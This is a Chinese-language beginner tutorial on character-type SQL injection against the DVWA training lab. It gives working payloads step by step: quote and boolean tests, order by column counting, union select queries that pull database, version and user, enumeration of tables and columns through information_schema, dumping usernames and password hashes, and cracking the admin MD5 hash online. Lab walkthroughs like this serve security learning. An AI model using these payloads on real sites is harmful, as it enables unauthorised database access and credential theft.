2.第一节-----sql注入------小白学习------DVWA

mac2025-12-17  5

0x01:sql注入含义

1.问:sql注入,谁去注入? 答:攻击者

2.问:sql注入,注入到哪里? 答:sql注入,注入到sql查询语句

3.问:sql注入,目的什么? 答:sql注入,注入到sql查询语句,从而破坏正常的sql查询语句,最终执行自己想要执行的语句

4.问:sql注入时候,执行的语句,有什么作用? 答:sql注入,执行的语句会与后台服务器直接进行交互,相当于是在一条命令换取一条甚至一组结果,之后返回到浏览器的页面进行渲染后,呈现在攻击者的面前。

0x02:本次sql注入的类型:

1.字符型注入,它的字符型是什么意思? 答:当输入的参数为字符串时,称为字符型。 2.字符型与数字型(整型)的区别在哪? 答:字符型和数字型最大的一个区别在于,数字型不需要单引号来闭合,而字符串一般需要通过单引号来闭合的。 3.注入的类型到底是什么鬼? 答:①攻击者把命令注入到查询语句中,是为了传到后台的sql服务器后,可以执行,并且获得反馈。 ②那么这个以什么类型的语句注入到查询语句中,就完全取决于后台的sql服务器了。 ③若服务器设置为char字符型,那么相应的你也要通过字符型来注入咯。。。。。

例1:

1.字符型注入的发现过程:

①.首先你会发现一个注入点,如下图所示: ②输入:'

如上图所示,通过结果发现服务器是通过字符串的格式来接收传参的,所以这个就是字符型注入咯。 a.最外面一对单引号,是为了高亮显示,也就是强调的。 b.接着一对单引号,是系统自动加的单引号。(字符型的,自动加一对单引号)(从这里判断的,这是字符型注入) c.最里面一个单引号,是刚刚自己打的。

③输入:1' and '1'='1

如上图所示,结果正常显示。 a.第一行红色回显的语句,这条语句是你自己在输入框输入的语句,只是为了让你看清,自己输入了什么。 b.第一行的语句:1' and '1'=1' 这条语句在提交后,系统会自动进行闭合,也就是自动在前后加一对单引号,如: '1' and '1'='1'

④输入:1' and '1'='2

如上图所示,提交后无回显。

总结:字符型注入的判断过程:

' //出现5个引号 ''' 1 and 1=1 //正常回显 '1 and 1=1' 1 and 1=2 //正常回显 '1 and 1=2' 1' and '1'='1 //正常回显 '1' and '1'='1' 1' and '1'='2 //不回显 '1' and '1'='2' //前后的一对单引号,是字符型的时候,系统的自动闭合。

2.通过order by,猜解SQL查询语句中的字段数

①输入:1' order by 3 #

②输入:1' order by 2 #

3.通过联合查询,确定显示的字段顺序,查看当前数据库,版本,用户等信息

①输入:1' union select 1,2 #

//如上图所示, Firstname为1; Surname为2。

②输入:1' union select database(),version() #

//如上图所示, 把1的位置换成database()后,显示数据库为dvwa; 把2的位置换成version()后,显示版本为5.5.53。

③输入:1' union select user(),2 #

//如上图所示, 把1的位置换成user()后,显示服务器的用户为root,localhost为hostname主机名; 2的位置,依旧放2。

4.通过联合查询爆dvwa数据库的表

①输入:1' union select group_concat(table_name),2 from information_schema.tables where table_schema='dvwa' #

//如上图所示, 联合查询后,一次性显示的表为:guestbook和users

②输入:1' union select table_name,2 from information_schema.tables where table_schema='dvwa' #

//如上图所示,是逐条的显示出,表guestbook和users

5.通过联合查询,爆表里的列

①输入:1' union select group_concat(column_name),2 from information_schema.columns where table_name='users' #

//如上图所示,一次性的爆列名,注意user_id和first_name和,user和password

②输入:1' union select column_name,1 from information_schema.columns where table_name='users' #

//如上图所示,逐条爆出列名,注意user_id和first_name和,user和password

6.通过联合查询,爆出列中的字段的内容

①输入:1' union select group_concat(concat_ws(char(32,58,32),user,password)),2 from users# //如上图所示,一行显示所有信息 ②输入:1' union select concat_ws(char(32,58,32),user,password),2 from users#

//如上图所示,分行显示各自的用户名和密码

③输入:1' union select user,password from users #

//如上图所示,用户名和密码分行显示

7.解密admin用户的md5加密后的密码

①进入网站:https://www.cmd5.com/

//如上图所示,admin的密码是password 一句天赋毁了别人多少努力 2019-11-02————421
最新回复(0)